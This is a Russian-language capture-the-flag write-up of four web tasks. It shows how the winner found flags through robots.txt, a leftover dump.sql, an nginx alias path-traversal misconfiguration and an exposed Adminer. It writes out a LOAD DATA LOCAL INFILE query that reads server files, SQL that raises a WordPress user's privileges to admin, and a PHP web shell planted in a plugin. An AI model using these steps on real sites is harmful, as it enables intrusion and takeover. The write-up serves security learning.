Разбор заданий по вебу с DC78422 CTF0 (часьть 1)

Данное описание подготовлено и публикуется со слов победителя CTF этих заданий – Тальгата Хайруллова. Дальше текст передается as-is, правда иногда будут вставлять цитаты с пояснением зачем то или иное задание.

Роботы

Первая мысль после прочтения задания - файл robots.txt. Проверяем: hxxp://91.240.84.252:31337/robots.txt

Бинго, флаг найден.

Это задание на самом деле часть изначальной разведки для будущих заданий. Файл robots.txt есть почти у всех сайтов и его использую чтобы что-то спрятать или что-то, ноборот показать поисковикам. И часто в этот файл попадает что-то что может быть чувствительным или раскрыть информацию об используемой системе. Например, во второй строке /wp-admin мы можем увидеть что тут используется скорее всего Wordpress, а от этого можно и “плясать дальше”

дамп

Бэкграунд в области web разработки, сразу же подсказывает мне следующие популярные имена файлов для дампа:

• dump.(tgz|zip|sql|tar|tar.gz)
• backup.(tgz|zip|sql|tar|tar.gz)

Проверяю вариант dump.sql: hxxp://91.240.84.252:31337/dump.sql

В ответ получаю файл с содержимым:

Флаг найден, переходим к следующему заданию.

Да, к сожалению, разработчики оставляют много файлов в корне проекта. Действительно, перебирать все имена файлов рукаами – дело не самое благородное. Поэтому можно воспользоваться готовыми списками имен файлов, содержащими частоиспользуесые имена, например, fuzz.txt и утилитой dirb для автоматизации перебора.

Без регистрации и смс

Задание предлагает нам попытаться скачать статический файл. Перехожу по ссылке из задания, на этот раз страница явно не на wordpress. В теле страницы ссылка на /static/welcome.txt. Исходя из задания нужный нам файл должен быть по адресу /flag.txt. Проверяю в лоб: hxxp://91.240.84.252:3000/flag.txt. В ответ, ожидаемо: 404 Not Found и информация о веб-сервере: nginx/1.25.1.

Пробую еще один вариант в лоб, вот так: /static/../flag.txt. hxxp://91.240.84.252:3000/static/../flag.txt и ответ, ожидаемо: 404 Not Found.

Поиск в google по версии nginx, подсказывает, что версия достаточно свежая, так что варианты связанные с уязвимостью в самом веб-сервере отбрасываю. Решил рассмотреть возможные варианты с ошибками конфигурации. Поиск привел меня на статью в блоге, где среди прочих ошибок была описана ошибка с недостаточно конфигурацией: Alias LFI Misconfiguration. Исходя из описания, нужно сформировать URL вот таким образом: /static../flag.txt.

Проверяю: hxxp://91.240.84.252:3000/static../flag.txt

Есть, флаг найден!

Кстати, вы можете проверить свою конфигурацию утилитой gixy от Яндекса на подобные проблемы мисконфигураций.

Тесты на проде

Последнее задание в секции web, намекает нам, что у разработчиков был доступ к проду и они наверняка там наследили. Опыт в web разработки на PHP сразу подсказывает проверить различные варианты:

• /i.php
• /info.php
• /test.php
• /phpmyadmin
• /adminer
• /adminer.php

Проверяю /info.php hxxp://91.240.84.252:31337/info.php

Разработчики забыли файл info.php, раскрывающий много информации о PHP и окружении в котором он запущен. По какой-то причине в первую очередь спешу посмотреть переменные окружения, кажется, что там может быть что-то интересное:

Но никаких секретов там нет(. Пробегаю глазами по всему phpinfo, попутно отмечаю для себя список расширений PHP, версии системных библиотек, пути к конфигам и текущему исполняемому файлу. Все примерно ожидаемое, за исключением /var/www/html/php.ini, файл конфигурации PHP лежит в корне сайта, это обязательно надо посмотреть: hxxp://91.240.84.252:31337/php.ini

К сожалению тут тоже ничего интересного.

Проверяю /adminer hxxp://91.240.84.252:31337/adminer.php

Adminer - это инструмент для управления БД через web. Разработчики любят его за простоту дистрибуции, достаточно положить один файлик в корень и все готово. Уже знаком с adminer и наслышан про проблемы с безопасностью, а тут еще сам интерфейс adminer кричит, о том, что это не самая свежая версия.

Поиск в интернете помогает освежить в памяти все CVE по adminer, среди которых есть CVE-2021-43008. Adminer до 4.6.3 дает возможность подключиться к удаленному серверу и разрешает выполнять запросы вида LOAD DATA Statement. Таким образом мы можем развернуть свой MySQL сервер, к которому выполним подключение через adminer и будем читать локальные файлы, звучит очень интригующе. Весь процесс развертки MySQL сервера описывать не буду, вот пару ключевых моментов:

• Необходимо разрешить удаленные подключения к серверу. По умолчанию подключиться к серверу БД можно только из localhost.
• Включить поддержку LOAD DATA LOCAL. Несмотря на то, что чтение файлы выполняется на клиенте, запрос не будет отрабатывать, если на сервере явно не включить поддержку.
• Для задания пароля пользователя БД нужно использовать mysql_native_password метод, в противном случае adminer не сможет подключиться.

Все готово, пробую подключиться:

Отлично, подключение выполнено, не терпится что-нибудь прочитать с сервера. Для этого использую следующий SQL запрос:

DROP TABLE IF EXISTS mysql.test;
CREATE TABLE mysql.test (line TEXT);
LOAD DATA LOCAL INFILE '<path>' INTO TABLE mysql.test;
SELECT line FROM mysql.test;

Где <path> - путь к файлу. Пробую прочитать разное, например /etc/passwd, работает. Но пока нет понимания, что именно нужно прочитать, чтобы получить флаг.

Дальше помогает ранее изученный phpinfo(), который раскрывает путь до приложения и знание самого движка wordpress, настройки которого как правило лежат в файле wp-config.php:

Отсюда получаем доступы к БД приложения, подключаемся:

Поиск флага по данным в таблицах не дал результата. Решаюсь получить доступ к панели администратора wordpress, смотрю таблицу wp_users:

Мне не хотелось сильно следить, поэтому сначала рассматриваю варианты получить доступ без серьезных изменений в БД. Тут внимание притягивает md5 хеш пароля от пользователя CTF. Проверяю хеш через crackstation.net, получаю пароль: CTF.

Входим в админку: htxx://91.240.84.252:31337/wp-login.php

Видим интерфейс управления:

Поиски флага в интерфейсе тоже безуспешны. При этом стало понятно, что доступ у нас ограниченный. Опять же менять пароль пользователя admin мне хотелось, поэтому повысил доступы пользователя CTF через БД, для этого выполняю следующие SQL запросы:

DELETE FROM wp_usermeta WHERE user_id = 2;
REPLACE INTO wp_usermeta (user_id, meta_key, meta_value) (SELECT 2, meta_key, meta_value FROM wp_usermeta WHERE user_id = 1)

где:

• user_id = 2 - пользователь CTF
• user_id = 1- пользователь admin

Готово, заново логинимся, видим более продвинутый интерфейс:

Здесь мое внимание притягивает Edit Plugins. Это редактор кода плагинов, таким образом мы можем внедрить свой PHP код. Пробую внести изменения в файл akismet/akismet.php:

Редактор сходу подсказывает, что плагин akismet неактивен, так что видимо придется его позже еще и активировать. Добавляю следующий код:

if (isset($_REQUEST['__cmd'])) {
    exec($_REQUEST['__cmd'], $output);
    
    echo "<pre>";    
    print_r($output);
    echo "</pre>";
    die('done');
}

И активирую плагин. Теперь, если все правильно, запрос вида /?__cmd=ls -la /var/www/html, должен вернуть список файлов и директорий в /var/www/html. Проверяю: hxxp://91.240.84.252:31337/?__cmd=ls%20-la%20/var/www/html

Отлично, все работает. Мое внимание притягивает директория /test, которой тут не должно было быть. Смотрю что там: hxxp://91.240.84.252:31337/?__cmd=ls%20-la%20/var/www/html/test

Интересно, смотрю содержимое файла: hxxp://91.240.84.252:31337/?__cmd=cat%20/var/www/html/test/index.php

А вот и флаг.

Да директорию /test можно было прощупать еще на первом этапе, тоже типичное название для тестов на проде, в таком случае путь до флага был бы короче, его можно было прочитать через через LOAD DATA LOCAL в adminer.

Для исследования WordPress сайтов можете так же пользоваться утилитой WPScan. Она тоже может подсказать что прикольное.